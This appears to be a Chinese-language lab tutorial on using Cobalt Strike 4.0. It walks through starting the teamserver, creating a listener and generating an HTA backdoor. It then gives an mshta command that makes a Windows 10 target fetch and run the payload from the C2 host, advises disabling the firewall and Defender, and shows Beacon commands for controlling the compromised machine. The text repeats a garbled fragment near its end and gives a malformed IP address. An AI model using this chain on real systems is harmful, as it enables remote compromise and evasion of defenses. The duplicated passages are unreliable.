CobaltStrike4.0教程-HTML Application
一、什么是CobaltStrike?
Cobalt Strike是一款专业的渗透测试工具,常用于网络攻击和红队行动。它最初作为Metasploit框架的商业扩展版本,由Raphael Mudge开发并由SpecterOps团队维护。
Cobalt Strike提供了多种功能和特性,以帮助安全专业人员模拟真实世界中的攻击,并评估目标网络的安全性。其主要功能包括:
- 命令与控制(C2):Cobalt Strike提供了一个灵活强大的命令与控制平台,允许渗透测试人员通过远程访问受感染系统、执行命令、获取目标信息等进行操控。
- 社交工程:该工具集成了多种社交工程模块,如钓鱼攻击、恶意文件生成等,以便诱骗用户点击链接或打开恶意附件。这有助于测试组织在面对此类攻击时的防御能力。
- 漏洞利用:Cobalt Strike支持多种漏洞利用技术,并集成了Metasploit框架的强大漏洞利用模块。这使得渗透测试人员可以有效地定位和利用系统中存在的漏洞。
- 持久性和横向移动:Cobalt Strike提供了多种技术,如后门、持久化脚本和横向移动工具,以帮助渗透测试人员在受感染系统中保持访问权限,并探索目标网络中的其他系统。
二、功能简介
文件 | 功能 |
---|---|
agscript | 扩展应用的脚本 |
c2lint | 用于检查profile的错误和异常 |
teamserver | 服务器端启动程序 |
cobaltstrike.jar | CobaltStrike核心程序 |
cobaltstrike.auth | 用于客户端和服务器端认证的文件,客户端和服务端有一个一模一样的 |
cobaltstrike.store | SSL秘钥库,可以使用keytool(Java数据证书管理工具)进行修改 |
start.sh | 运行客户端的shell脚本,与cobaltstrike作用相同 |
目录 | 功能 |
---|---|
data | 用于保存当前TeamServer的一些数据 |
logs | 日志文件,包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等 |
third-party | 第三方工具目录 |
uploads | 上传文件的目录 |
三、实验环境
kali cs服务端 192.168.57.142(服务端通常运行在Linux环境)
kali cs客户端 192.168.57.142( 可以跨平台,运行在Linux/Windows环境,启动后在对话框输入服务端的ip和连接密码,名字自定义 )
windows10 靶机 192.168.57.148
四、实验过程
在桌面打开终端,进入root模式,打开CobaltStrike文件夹
4.1 启动cs的服务端
./teamserver 192.168.xxx.xxx passwd #这里passwd随便填得记住 待会连接客户端得用
4.2 另外开启一终端,打开cs的客户端
./start.sh
会跳出cs的连接界面:
- HOST 为我们刚刚建立服务器的IP地址
- PORT 为端口号 (端口不用管 默认就可以)
- USER 为用户名 (默认另取都可以)
- Password 为登录密码 (刚才设置的服务端passwd)
连接成功后会看到一段话:user has joined.
CobaltStrike模块 | 功能 |
---|---|
New Connection | 打开一个新连接窗口 |
Preferences | 偏好设置,就是设置CobaltStrike外观的 |
Visualization | 将主机以不同的权限展示出来(主要以输出结果的形式展示) |
VPN Interfaces | 设置VPN接口 |
Listeners | 创建监听器 |
Script Interfaces | 查看和加载CNA脚本 |
4.3 创建监听器Listener
Beacon为内置监听器(支持异步通信和交互式通信),Foreign为外置监听器。
点击左上方CobaltStrike选项—>下拉框选中 Listeners —>在下方弹出区域中单机add
4.4 创建攻击Attacks(生成后门)
会自动生成一个hta文件
4.5 提供端口下载文件
4.6 在靶机执行远程命令
mshta http://1932.168.57.142:10066/download/file.ext
可以看到此时靶机上线
特别注意:要把win10的防火墙和defender都关掉,不然很容易被杀掉
4.7 攻击目标主机
当有目标主机以任何方式运行了生成的被控端,出现在主机列表,选中要操作的目标主机,右键interact进入交与命令界面,在此使用Beacon Commands对目标主机执行各种操作。
设置sleep 0
执行shell命令 shell ipconfig
成功上线,这里有一个我比较疑惑的点是:在攻击之前win10的IP地址是192.168.57.148,执行了远程命令后IP地址变成了192.168.57.151,但不影响攻击结果。
4.8 操控目标机器
eg:任务管理器(文件管理、远程桌面、屏幕截图等)
地址是192.168.57.148,执行了远程命令后IP地址变成了192.168.57.151,但不影响攻击结果。
4.9 操控目标机器
eg:任务管理器(文件管理、远程桌面、屏幕截图等)